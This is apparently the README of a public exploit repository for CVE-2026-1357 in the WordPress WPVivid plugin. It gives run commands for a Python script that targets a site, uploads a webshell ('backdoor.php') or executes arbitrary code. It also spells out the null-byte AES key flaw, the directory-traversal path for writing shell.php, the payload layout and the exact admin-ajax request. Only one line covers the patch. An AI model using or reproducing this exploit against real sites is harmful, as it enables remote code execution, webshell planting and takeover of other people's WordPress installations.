itsismarcos/exploit-cve-2026-1357Exploit for CVE-2026-1357 in WordPress WPVivid plugin, enabling remote code execution via crafted AES-encrypted payloads and directory traversal to upload a webshell.
pip3 install pycryptodome requests
python3 wpvivi.py http://target.com
python3 wpvivi.py http://target.com --shell backdoor.php
python3 wpvivi.py http://target.com --code "" Technical explanation: Null Byte Key: When RSA decryption fails, it returns false, which phpseclib treats as "\x00\x00\x00". We use 16 null bytes as the AES-128 ECB key. Directory Traversal: The filename is not sanitized, allowing ../../../../wp-content/uploads/shell.php Payload Format:
[len_key_hex(2 bytes)] + [key_hex] + [len_data_hex(16 bytes)] + [encrypted_data] Execution: POST to /wp-admin/admin-ajax.php?action=wpvivid_action&wpvivid_action=send_to_site wpvivid_content = base64(encrypted payload) Detection and Mitigation:
Patched in 0.9.124:
if ($key === false || empty($key)) return false;